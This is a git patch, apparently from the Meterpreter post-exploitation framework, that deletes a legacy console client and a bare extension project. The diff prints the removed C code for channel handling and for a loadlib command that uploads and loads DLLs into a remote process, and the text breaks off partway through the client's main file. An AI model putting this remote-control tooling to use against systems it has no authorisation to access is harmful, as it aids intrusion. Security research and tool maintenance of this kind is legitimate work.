From 1fb386c93bd58d541b6be88fd81fa264158ac746 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 12:30:05 +1000 Subject: [PATCH 01/21] Remove metcli and bare extension projects --- c/meterpreter/source/client/console.c | 546 ------------- c/meterpreter/source/client/console.h | 53 -- c/meterpreter/source/client/local_dispatch.c | 716 ------------------ c/meterpreter/source/client/metcli.c | 103 --- c/meterpreter/source/client/metcli.def | 4 - c/meterpreter/source/client/metcli.h | 13 - c/meterpreter/source/client/module.c | 163 ---- c/meterpreter/source/client/module.h | 8 - c/meterpreter/source/client/remote_dispatch.c | 70 -- c/meterpreter/source/extensions/bare/bare.c | 43 -- c/meterpreter/source/extensions/bare/bare.h | 12 - .../ext_server_bare/ext_server_bare.vcxproj | 306 -------- c/meterpreter/workspace/metcli/metcli.vcxproj | 354 --------- 13 files changed, 2391 deletions(-) delete mode 100644 c/meterpreter/source/client/console.c delete mode 100644 c/meterpreter/source/client/console.h delete mode 100644 c/meterpreter/source/client/local_dispatch.c delete mode 100644 c/meterpreter/source/client/metcli.c delete mode 100644 c/meterpreter/source/client/metcli.def delete mode 100644 c/meterpreter/source/client/metcli.h delete mode 100644 c/meterpreter/source/client/module.c delete mode 100644 c/meterpreter/source/client/module.h delete mode 100644 c/meterpreter/source/client/remote_dispatch.c delete mode 100644 c/meterpreter/source/extensions/bare/bare.c delete mode 100644 c/meterpreter/source/extensions/bare/bare.h delete mode 100644 c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj delete mode 100644 c/meterpreter/workspace/metcli/metcli.vcxproj diff --git a/c/meterpreter/source/client/console.c b/c/meterpreter/source/client/console.c deleted file mode 100644 index 3bcd373a..00000000 --- a/c/meterpreter/source/client/console.c +++ /dev/null @@ -1,546 +0,0 @@ -#include "metcli.h" - -// Core console commands -extern DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv); - -extern DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv); - -/* - * Local client core command line dispatch table - */ -ConsoleCommand consoleCommands[] = -{ - // Core extensions - { "Core", NULL, "Core feature set commands", 1 }, - { "open", cmd_open, "Opens a communication channel.", 0 }, - { "read", cmd_read, "Reads from a communication channel.", 0 }, - { "write", cmd_write, "Writes to a communication channel.", 0 }, - { "close", cmd_close, "Closes a communication channel.", 0 }, - { "interact", cmd_interact, "Switch to interactive mode with a channel.", 0 }, - { "help", cmd_help, "Displays a list of commands.", 0 }, - { "exit", cmd_exit, "Exits the client.", 0 }, - - // Feature extensions - { "Features", NULL, "Feature extension commands", 1 }, - { "loadlib", cmd_loadlib, "Load a library on the remote machine.", 0 }, - { "use", cmd_use, "Use a feature module.", 0 }, - - // Terminator - { NULL, NULL, NULL, 0 }, -}; - -VOID console_read_thread_func(Remote *remote); - -ConsoleCommand *extendedCommandsHead = NULL; -ConsoleCommand *extendedCommandsTail = NULL; -Channel *interactiveChannel = NULL; -DWORD interactiveChannelId = 0; -PCHAR inputBuffer = NULL; -ULONG inputBufferLength = 0; -HANDLE consoleReadThread = NULL; - -/* - * Enable command history on the console and create the interactive console - * for future use. - */ -VOID console_initialize(Remote *remote) -{ - BOOL (WINAPI *setConsoleInputExeName)(LPCSTR base) = NULL; - CHAR name[1024]; - PCHAR slash; - float init = 1.1f; // VC++ requires float usage to use float libraries. - DWORD mode = 0; - DWORD tid; - - do - { - // Locate the SetConsoleInputExeNameA routine for use with custom - // history tracking - if (!((LPVOID)setConsoleInputExeName = - (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), - "SetConsoleInputExeNameA"))) - break; - - memset(name, 0, sizeof(name)); - - if (!GetModuleFileName( - GetModuleHandle(0), - name, - sizeof(name) - 1)) - break; - - if (!(slash = strrchr(name, '\\'))) - break; - - // investigate - setConsoleInputExeName(name); - - // Set the console window's title - SetConsoleTitle("meterpreter"); - - consoleReadThread = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)console_read_thread_func, remote, - 0, &tid); - - } while (0); -} - -/* - * Write a format string buffer to the console - */ -VOID console_write_output(LPCSTR fmt, ...) -{ - va_list ap; - - va_start(ap, fmt); - vfprintf(stdout, fmt, ap); - va_end(ap); -} - -/* - * Write raw output to the console - */ -VOID console_write_output_raw(PUCHAR buf, ULONG length) -{ - HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE); - DWORD written = 0; - - WriteFile(pStdout, buf, length, &written, NULL); -} - -/* - * Write the console prompt to the screen - */ -VOID console_write_prompt() -{ - fprintf(stdout, "meterpreter> "); - fflush(stdout); -} - -/* - * Generic output of success/fail - */ -DWORD console_generic_response_output(Remote *remote, Packet *packet, - LPCSTR subsys, LPCSTR cmd) -{ - DWORD res = packet_get_result(packet); - - if (res == ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " %s: %s succeeded.\n", subsys, cmd); - else - console_write_output( - "\n" - INBOUND_PREFIX " %s: %s failed, result %lu.\n", - subsys, cmd, packet_get_result(packet)); - - console_write_prompt(); - - return res; -} - -/* - * Check to see if an escape sequence has been sent to the console - * - * The escape sequence is: ESC - */ -BOOL console_check_escape_sent() -{ - BOOL escapeSent = FALSE; - INPUT_RECORD r[32]; - DWORD numRead = 0; - - if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE), - r, 32, &numRead)) - { - DWORD index = 0; - - for (index = 0; - (!escapeSent) && (index < numRead); - index++) - { - if (r[index].EventType != KEY_EVENT) - continue; - - // If the control key is pressed and the VK is escape.. - if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE) - escapeSent = TRUE; - } - } - - return escapeSent; -} - -/* - * Set the interactive channel for input/output overriding - */ -VOID console_set_interactive_channel(Remote *remote, Channel *channel) -{ - // If an interactive channel is use, unset the interactive flag - if (interactiveChannel) - channel_interact(interactiveChannel, remote, NULL, 0, FALSE, - NULL); - - interactiveChannel = channel; - interactiveChannelId = (channel) ? channel_get_id(channel) : 0; -} - -/* - * Get the interactive channel descriptor - */ -Channel *console_get_interactive_channel() -{ - return interactiveChannel; -} - -/* - * Get the interactive channel indentifier, if any - */ -DWORD console_get_interactive_channel_id() -{ - return interactiveChannelId; -} - -/* - * Process a remote cmomand when data is available - */ -DWORD console_remote_notify(Remote *remote, HANDLE notify) -{ - DWORD res; - - ResetEvent(notify); - - res = command_process_remote(remote, NULL); - - return res; -} - -/* - * Process console commands in a loop - * - * I would use the scheduler but allowing the file descriptor to drop - * into non-blocking mode makes things annoying. - */ -VOID console_process_commands(Remote *remote) -{ - SOCKET fd = remote_get_fd(remote); - struct timeval tv; - fd_set fdread; - LONG r; - - console_write_prompt(); - - // Execute the scheduler in a loop - while (1) - { - FD_ZERO(&fdread); - FD_SET(fd, &fdread); - - tv.tv_sec = 0; - tv.tv_usec = 100; - - if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0) - { - LONG bytes = 0; - - ioctlsocket(fd, FIONREAD, &bytes); - - if (bytes == 0) - { - console_write_output( - "\n" - "Connection reset by peer.\n"); - break; - } - - command_process_remote(remote, NULL); - } - else if (r < 0) - break; - - scheduler_run(remote, 0); - } -} - -VOID console_read_thread_func(Remote *remote) -{ - while (1) - console_read_buffer(remote); -} - -/* - * Reads in data from the input device, potentially calling the - * command processing function if a complete command has been read. - */ -VOID console_read_buffer(Remote *remote) -{ - DWORD newInputBufferLength, stringLength, offset; - Channel *interactiveChannel; - PCHAR newInputBuffer; - BOOL process = FALSE; - CHAR buf[4096]; - PCHAR eoln, eolr; - LONG bytesRead; - - // Ensure null termination - buf[sizeof(buf) - 1] = 0; - - do - { - // Is there data available? - if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE) - != WAIT_OBJECT_0) - break; - - // If a console escape character was sent and we're currently interactive, - // break out of interactive mode - if ((console_check_escape_sent()) && - (console_get_interactive_channel())) - { - console_set_interactive_channel(remote, NULL); - - console_write_output( - "\n" - "\n" - "Exiting interactive mode..\n"); - console_write_prompt(); - } - - // Read the command - if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE), - buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0)) - break; - - buf[bytesRead] = 0; - - // If an interactive channel is in use, write directly to it. - if ((interactiveChannel = console_get_interactive_channel())) - { - channel_write(interactiveChannel, remote, NULL, 0, buf, - bytesRead, NULL); - break; - } - - if ((eoln = strchr(buf, '\n'))) - { - *eoln = 0; - - process = TRUE; - } - - // Remove end of line characters - if ((eolr = strchr(buf, '\r'))) - *eolr = 0; - - // Calculate lengths - stringLength = strlen(buf); - newInputBufferLength = inputBufferLength + stringLength; - - if (inputBuffer) - newInputBuffer = (PCHAR)realloc(inputBuffer, - newInputBufferLength); - else - newInputBuffer = (PCHAR)malloc(++newInputBufferLength); - - // Allocation failure? - if (!newInputBuffer) - break; - - if ((offset = inputBufferLength)) - offset--; - - // Copy the string - memcpy(newInputBuffer + offset, buf, stringLength); - - // Update the input buffer - inputBuffer = newInputBuffer; - inputBufferLength = newInputBufferLength; - - // Process the full command line if it's completed - if (process) - { - inputBuffer[inputBufferLength - 1] = 0; - - client_acquire_lock(); - console_process_command(remote); - client_release_lock(); - - free(inputBuffer); - - inputBuffer = NULL; - inputBufferLength = 0; - - console_write_prompt(); - } - - } while (0); -} - -/* - * Parse the local command into an argument vector - * - * TODO: - * - * - Add character unescaping (\x01) - */ -VOID console_process_command(Remote *remote) -{ - CHAR **argv = NULL, *current; - ConsoleCommand *command = NULL; - UINT argc, index; - - do - { - // Calculate the number of arguments - for (current = inputBuffer, argc = 1; - current = strchr(current, ' '); - current++, argc++); - - current = inputBuffer; - index = 0; - - if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc))) - break; - - // Populate the argument vector - while (1) - { - CHAR *space = NULL, *edquote = NULL; - - // If the first character of the current argument is a quote, - // find the next quote. - if (current[0] == '"') - { - if ((edquote = strchr(current + 1, '"'))) - *edquote = 0; - } - else if ((space = strchr(current, ' '))) - *space = 0; - - // If we're using quoting for this argument, skip one past current. - argv[index++] = _strdup(current + ((edquote) ? 1 : 0)); - current = ((edquote) ? edquote : space) + 1; - - if (space) - *space = ' '; - else if (edquote) - *edquote = '"'; - else - break; - } - - // Find the command - for (index = 0; - consoleCommands[index].name; - index++) - { - if (!strcmp(consoleCommands[index].name, argv[0])) - { - command = &consoleCommands[index]; - break; - } - } - - // If the command was not found in the default command list, try looking - // in the extended list - if (!command) - { - for (command = extendedCommandsHead; - command; - command = command->next) - { - if (!strcmp(command->name, argv[0])) - break; - } - } - - // The command was not found. - if ((!command) || (!command->name)) - break; - - command->handler(remote, argc, argv); - - } while (0); - - // Cleanup argv - if (argv) - { - for (index = 0; - index < argc; - index++) - free(argv[index]); - - free(argv); - } -} - -/* - * Dynamically registers a client command - */ -DWORD console_register_command(ConsoleCommand *command) -{ - ConsoleCommand *newConsoleCommand; - - if (!(newConsoleCommand = (ConsoleCommand *)malloc(sizeof(ConsoleCommand)))) - return ERROR_NOT_ENOUGH_MEMORY; - - memcpy(newConsoleCommand, command, sizeof(ConsoleCommand)); - - if (extendedCommandsTail) - extendedCommandsTail->next = newConsoleCommand; - - newConsoleCommand->prev = extendedCommandsTail; - newConsoleCommand->next = NULL; - extendedCommandsTail = newConsoleCommand; - - if (!extendedCommandsHead) - extendedCommandsHead = newConsoleCommand; - - return ERROR_SUCCESS; -} - -/* - * Dynamically deregisters a client command - */ -DWORD console_deregister_command(ConsoleCommand *command) -{ - ConsoleCommand *current, *prev; - DWORD res = ERROR_NOT_FOUND; - - // Search the extension list for the command - for (current = extendedCommandsHead, prev = NULL; - current; - prev = current, current = current->next) - { - if (strcmp(command->name, current->name)) - continue; - - if (prev) - prev->next = current->next; - else - extendedCommandsHead = current->next; - - if (current->next) - current->next->prev = prev; - - if (current == extendedCommandsTail) - extendedCommandsTail = current->prev; - - // Deallocate it - free(current); - - res = ERROR_SUCCESS; - - break; - } - - return res; -} diff --git a/c/meterpreter/source/client/console.h b/c/meterpreter/source/client/console.h deleted file mode 100644 index 58dd5feb..00000000 --- a/c/meterpreter/source/client/console.h +++ /dev/null @@ -1,53 +0,0 @@ -#ifndef _METERPRETER_CLIENT_CONSOLE_H -#define _METERPRETER_CLIENT_CONSOLE_H - -#define OUTBOUND_PREFIX ">>>" -#define INBOUND_PREFIX "<<<" - -VOID console_initialize(); - -/* - * Output processing - */ -LINKAGE VOID console_write_output(LPCSTR fmt, ...); -LINKAGE VOID console_write_output_raw(PUCHAR buf, ULONG length); -LINKAGE VOID console_write_prompt(); - -LINKAGE DWORD console_generic_response_output(Remote *remote, Packet *packet, - LPCSTR subsys, LPCSTR cmd); - -/* - * Interact channel - */ -LINKAGE VOID console_set_interactive_channel(Remote *remote, Channel *channel); -LINKAGE Channel *console_get_interactive_channel(); -LINKAGE DWORD console_get_interactive_channel_id(); - -/* - * Input processing - */ -typedef struct _ConsoleCommand -{ - LPCSTR name; - DWORD (*handler)(Remote *remote, UINT argc, CHAR **argv); - LPCSTR help; - BOOL separator; - - // Not stored - struct _ConsoleCommand *prev; - struct _ConsoleCommand *next; -} ConsoleCommand; - -LINKAGE VOID console_read_buffer(Remote *remote); -LINKAGE VOID console_process_command(Remote *remote); -LINKAGE VOID console_process_commands(Remote *remote); - -LINKAGE DWORD console_register_command(ConsoleCommand *command); -LINKAGE DWORD console_deregister_command(ConsoleCommand *command); - -LINKAGE VOID console_register_core_commands(); -LINKAGE VOID console_deregister_core_commands(); - -LINKAGE BOOL console_check_escape_sent(); - -#endif diff --git a/c/meterpreter/source/client/local_dispatch.c b/c/meterpreter/source/client/local_dispatch.c deleted file mode 100644 index b0b1b215..00000000 --- a/c/meterpreter/source/client/local_dispatch.c +++ /dev/null @@ -1,716 +0,0 @@ -#include "metcli.h" - -extern ConsoleCommand consoleCommands[]; -extern ConsoleCommand *extendedCommandsHead; - -/***************** - * Command: help * - *****************/ - -VOID cmd_help_output_command(ConsoleCommand *command) -{ - if (command->separator) - console_write_output( - "\n%13s %s\n" - " ------------ ---------------\n", - command->name, command->help); - else - console_write_output("%13s %s\n", command->name, - command->help); -} - -/* - * Print the help banner - */ -DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv) -{ - ConsoleCommand *current; - DWORD index; - - for (index = 0; - consoleCommands[index].name; - index++) - cmd_help_output_command(&consoleCommands[index]); - - for (current = extendedCommandsHead; - current; - current = current->next) - cmd_help_output_command(current); - - return ERROR_SUCCESS; -} - -/***************** - * Command: open * - *****************/ - -/* - * Opens a logical channel with the remote endpoint that is not tied to - * a stream - */ -DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv) -{ - DWORD res; - - if ((res = channel_open(remote, NULL, 0, NULL)) == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Requesting a new channel...\n"); - else - console_write_output( - "Error: channel_open failed, result %lu.\n", res); - - return res; -} - -/***************** - * Command: read * - *****************/ - -/* - * Channel completion routine for reading from a channel - */ -DWORD cmd_read_channel_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result, PUCHAR buffer, ULONG bytesRead) -{ - if (result == ERROR_SUCCESS && bytesRead > 0) - { - PCHAR tmp = (PCHAR)malloc(bytesRead + 1); - - if (tmp) - { - // Copy the buffer into tmp and null terminate it - memcpy(tmp, buffer, bytesRead); - tmp[bytesRead] = 0; - - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: read %lu bytes from channel %lu:\n" - "%s" - "\n", - bytesRead, channel_get_id(channel), tmp); - - free(tmp); - } - else - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: read %lu bytes, local allocation failed.\n", - bytesRead); - } - else if (result != ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: cmd_read failed, result %lu.\n", result); - - console_write_prompt(); - - return ERROR_SUCCESS; -} - -/* - * Reads in data from the remote endpoint of a channel - */ -DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD channelId = 0, length = 4096; - DWORD res = ERROR_SUCCESS; - Channel *channel; - - do - { - // Check to see if the supplied channel identifier is valid - if (argc == 1) - { - console_write_output("Usage: read channel_id [length]\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - // If a length was provided, use it. - if (argc > 2) - length = strtoul(argv[2], NULL, 10); - - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel %lu.\n", - channelId); - break; - } - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.read = cmd_read_channel_complete; - - // Read the data in. - if ((res = channel_read(channel, remote, NULL, 0, length, - &complete)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Requesting %lu bytes from channel %lu...\n", - length, channelId); - else - console_write_output("Error: channel_read failed, result %lu.\n", res); - - } while (0); - - return ERROR_SUCCESS; -} - -/****************** - * Command: write * - ******************/ - -/* - * Completion routine for a previous write - */ -DWORD cmd_write_channel_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result, ULONG bytesWritten) -{ - if (result == ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Wrote %lu bytes to channel %lu.\n", - bytesWritten, channel_get_id(channel)); - else - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: write failed, result %lu.\n", - result); - - console_write_prompt(); - - return ERROR_SUCCESS; -} - -/* - * Writes the supplied text to the remote end of the channel - */ -DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD channelId = 0; - DWORD res = ERROR_SUCCESS; - Channel *channel; - DWORD length = 0; - LONG bytesRead; - PCHAR buffer = NULL; - CHAR chunk[2048]; - - chunk[sizeof(chunk) - 1] = 0; - - do - { - // Check to see if the supplied channel identifier is valid - if (argc < 2) - { - console_write_output("Usage: write channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel %lu.\n", - channelId); - break; - } - - console_write_output("Enter text, terminate with single-line '.':\n"); - - /* - * XXX: needs to not use stdin for non-cmd input - */ - while (fgets(chunk, sizeof(chunk) - 1, stdin)) - { - PCHAR newBuffer; - - if (chunk[0] == '.') - break; - - bytesRead = strlen(chunk); - - if (!buffer) - newBuffer = (PCHAR)malloc(bytesRead); - else - newBuffer = (PCHAR)realloc(buffer, length + bytesRead); - - if (!newBuffer) - { - if (buffer) - free(buffer); - - buffer = NULL; - - break; - } - - memcpy(newBuffer + length, chunk, bytesRead); - - buffer = newBuffer; - length += bytesRead; - } - - if (!buffer) - { - console_write_output( - "Error: No text was provided.\n"); - break; - } - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.write = cmd_write_channel_complete; - - // Read the data in. - if ((res = channel_write(channel, remote, NULL, 0, buffer, - length, &complete)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Writing %lu bytes to channel %lu...\n", - length, channelId); - else - console_write_output("Error: channel_write failed, result %lu.\n", res); - - free(buffer); - - } while (0); - - return ERROR_SUCCESS; -} - -/****************** - * Command: close * - ******************/ - -/* - * Closes a channel that was allocated with the remote endpoint - */ -DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv) -{ - DWORD res = ERROR_SUCCESS; - DWORD channelId; - Channel *channel; - - do - { - if (argc == 1) - { - console_write_output( - "Usage: close channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - // Find the channel - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel id %lu.\n", - channelId); - - res = ERROR_NOT_FOUND; - break; - } - - if ((res = channel_close(channel, remote, NULL, 0, NULL)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Closing channel %lu...\n", channelId); - else - console_write_output("Error: channel_close failed, result %lu.\n", - res); - - } while (0); - - return res; -} - -/********************* - * Command: interact * - *********************/ - -/* - * Completion routine for when interact responds - */ -DWORD cmd_interact_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result) -{ - if (result == ERROR_SUCCESS) - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Started interactive with channel %lu..\n\n", - channel_get_id(channel)); - - console_set_interactive_channel(remote, channel); - } - else - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Failed to interact with channel %lu, result %lu.\n", - channel_get_id(channel)); - - console_write_prompt(); - } - - return ERROR_SUCCESS; -} - -/* - * Switches to interactive mode with a a provided channel - */ -DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD res = ERROR_SUCCESS; - Channel *channel; - - do - { - if (argc == 1) - { - console_write_output( - "Usage: interact channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - // Try to find the channel context from the supplied identifier - if (!(channel = channel_find_by_id(strtoul(argv[1], NULL, 10)))) - { - console_write_output( - "Error: The channel identifier %s could not be found.\n", - argv[1]); - res = ERROR_NOT_FOUND; - break; - } - - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Switching to interactive console on %lu.\n", - channel_get_id(channel)); - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.interact = cmd_interact_complete; - - // Interact with the channel - res = channel_interact(channel, remote, NULL, 0, TRUE, - &complete); - - } while (0); - - return res; -} - -/***************** - * Command: exit * - *****************/ - -/* - * Exit the client - */ -DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv) -{ - exit(0); - - return ERROR_SUCCESS; -} - -/******************** - * Command: loadlib * - ********************/ - -/* - * Load library completion routine - */ -DWORD cmd_loadlib_complete(Remote *remote, Packet *packet, LPVOID context, - LPCSTR method, DWORD res) -{ - return console_generic_response_output(remote, packet, "PROCESS", "loadlib"); -} - -/* - * Loads a library into the context of the remote process - */ -DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv) -{ - PCHAR libraryPath = NULL, targetPath = NULL; - PacketRequestCompletion complete; - Packet *request = NULL; - BOOL printBanner = FALSE; - DWORD res = ERROR_SUCCESS; - ArgumentContext arg; - DWORD flags = 0; - - // Zero the argument context - memset(&arg, 0, sizeof(arg)); - - do - { - // No arguments? - if (argc == 1) - { - printBanner = TRUE; - break; - } - - // Default to being a local (to the remote machine) library - flags |= LOAD_LIBRARY_FLAG_LOCAL; - - // Parse the supplied arguments - while (args_parse(argc, argv, "f:t:lde", &arg) == ERROR_SUCCESS) - { - switch (arg.toggle) - { - case 'f': - libraryPath = arg.argument; - break; - case 't': - targetPath = arg.argument; - break; - case 'l': - // Unset the local library flag - flags &= ~(LOAD_LIBRARY_FLAG_LOCAL); - break; - case 'd': - flags |= LOAD_LIBRARY_FLAG_ON_DISK; - break; - case 'e': - flags |= LOAD_LIBRARY_FLAG_EXTENSION; - break; - default: - break; - } - } - - if (!targetPath) - targetPath = libraryPath; - - // Make sure that a library was supplied - if (!libraryPath) - { - console_write_output( - "Error: No library path was specified.\n"); - break; - } - - // Allocate the request packet - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, - "core_loadlib"))) - { - console_write_output( - "Error: Packet allocation failure.\n"); - break; - } - - // If the library is not local to the remote machine, parse the local - // copy into a data buffer to be transmitted to the remote host - if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) - { - PUCHAR buffer; - ULONG length; - - // Store the contents of the specified file in a buffer - if ((res = buffer_from_file(libraryPath, &buffer, &length)) - != ERROR_SUCCESS) - { - console_write_output( - "Error: The local file could not be parsed, result %lu.\n", - res); - break; - } - - // Add the file's contents as a data tlv - packet_add_tlv_raw(request, TLV_TYPE_DATA, buffer, - length); - - console_write_output( - OUTBOUND_PREFIX " PROCESS: Uploading local library '%s', %lu bytes.\n", - libraryPath, length); - - free(buffer); - } - - // Add the library path name & flags - packet_add_tlv_string(request, TLV_TYPE_LIBRARY_PATH, - libraryPath); - packet_add_tlv_uint(request, TLV_TYPE_FLAGS, - flags); - - if (targetPath) - packet_add_tlv_string(request, TLV_TYPE_TARGET_PATH, - targetPath); - - console_write_output( - OUTBOUND_PREFIX " PROCESS: Loading library from '%s' on remote machine.\n", - targetPath ? targetPath : libraryPath); - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine = cmd_loadlib_complete; - - // Transmit the request - res = packet_transmit(remote, request, &complete); - - } while (0); - - if (printBanner) - { - console_write_output( - "Usage: loadlib -f library [ -t target ] [ -lde ]\n\n" - " -f The path to the library to load, whether local or remote.\n" - " -t The target file on the remote machine in which to store the library when uploading.\n" - " -l The library is local to the client machine, upload it to the remote machine.\n" - " -d When used with -l, this parameter indicates that the library should be saved to disk.\n" - " -e The library being loaded is a feature extension module, call its Init routine on load.\n"); - } - - return res; -} - -/**************** - * Command: use * - ****************/ - -/* - * Use a feature module implementation, installing it both locally and remotely - */ -DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv) -{ - LPCSTR module = NULL, path = NULL; - PCHAR currentModule = NULL, comma; - BOOL printBanner = FALSE; - DWORD res = ERROR_SUCCESS; - CHAR clientLibraryPath[1024]; - CHAR serverLibraryPath[1024]; - BOOL diskOnly = FALSE; - ArgumentContext arg; - CHAR *loadlibArgv[6]; - DWORD loadlibArgc = 0; - - clientLibraryPath[sizeof(clientLibraryPath) - 1] = 0; - serverLibraryPath[sizeof(serverLibraryPath) - 1] = 0; - - memset(&arg, 0, sizeof(arg)); - - do - { - // No arguments? - if (argc == 1) - { - printBanner = TRUE; - break; - } - - // Parse the supplied arguments - while (args_parse(argc, argv, "m:p:d", &arg) == ERROR_SUCCESS) - { - switch (arg.toggle) - { - case 'm': - module = arg.argument; - break; - case 'p': - path = arg.argument; - break; - case 'd': - diskOnly = TRUE; - break; - default: - break; - } - } - - // No module? - if (!module) - { - printBanner = TRUE; - break; - } - - currentModule = (PCHAR)module; - - // Enumerate through the comma delimited module list - while (currentModule) - { - comma = strchr(currentModule, ','); - - if (comma) - *comma = 0; - - // Populate the client and server path buffers - _snprintf_s(clientLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1, - "%s%sext_client_%s.dll", - (path) ? path : "", - (path) ? "\\" : "", - currentModule); - _snprintf_s(serverLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1, - "%s%sext_server_%s.dll", - (path) ? path : "", - (path) ? "\\" : "", - currentModule); - - // Try to load the client library - if ((res = module_load_client(remote, currentModule, clientLibraryPath)) - != ERROR_SUCCESS) - break; - - console_write_output("Successfully loaded '%s' on the client.\n", currentModule); - - loadlibArgc = 0; - - loadlibArgv[loadlibArgc++] = "loadlib"; - - // Now load the library on the remote machine - if (diskOnly) - { - // loadlib -f server_mod_path -e - loadlibArgv[loadlibArgc++] = "-f"; - loadlibArgv[loadlibArgc++] = serverLibraryPath; - loadlibArgv[loadlibArgc++] = "-e"; - } - else - { - // loadlib -f server_mod_path -l -e - loadlibArgv[loadlibArgc++] = "-f"; - loadlibArgv[loadlibArgc++] = serverLibraryPath; - loadlibArgv[loadlibArgc++] = "-l"; - loadlibArgv[loadlibArgc++] = "-e"; - } - - // Call the load library command - res = cmd_loadlib(remote, loadlibArgc, loadlibArgv); - - if (comma) - { - *comma = ','; - currentModule = comma + 1; - } - else - currentModule = NULL; - } - - } while (0); - - if (printBanner) - { - console_write_output( - "Usage: use -m module1,module2,module3 [ -p path ] [ -d ]\n\n" - " -m The names of one or more module(s) to load (e.g. 'net').\n" - " -p The path to load the module(s) from locally.\n" - " -d Load the library from disk, do not upload.\n"); - } - - return res; -} diff --git a/c/meterpreter/source/client/metcli.c b/c/meterpreter/source/client/metcli.c deleted file mode 100644 index 6c6506aa..00000000 --- a/c/meterpreter/source/client/metcli.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "metcli.h" - -extern VOID remote_register_core_dispatch_routines(); -extern VOID remote_deregister_core_dispatch_routines(); - -// include the OpenSSL library -#pragma comment(lib,"libeay32.lib") -#pragma comment(lib,"ssleay32.lib") - - -HANDLE clientLock = NULL; - -/* - * Entry point for the client - */ -int main(int argc, char **argv) -{ - struct sockaddr_in s; - Remote *remote = NULL; - SOCKET cli; - WSADATA data; - - srand(time(NULL)); - - WSAStartup(0x0202, &data); - - printf("ERROR: This client is out of date and does not support SSL\n"); - exit(0); - - if (argc < 3) - { - printf("Usage: %s \n", argv[0]); - return 0; - } - - do - { - if ((cli = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - s.sin_family = AF_INET; - s.sin_port = htons((SHORT)atoi(argv[2])); - s.sin_addr.s_addr = inet_addr(argv[1]); - - printf("Connecting to %s:%d...\n", argv[1], atoi(argv[2])); - - if (connect(cli, (struct sockaddr *)&s, sizeof(s)) < 0) - { - fprintf(stderr, "connect: %lu\n", GetLastError()); - break; - } - - printf("Initialized with server fd %lu.\n", cli); - - if (!(remote = remote_allocate(cli))) - { - fprintf(stderr, "remote_allocate: %lu\n", GetLastError()); - break; - } - - // Initialize the console display - console_initialize(remote); - - // Register core remote dispatch routines - remote_register_core_dispatch_routines(); - - // 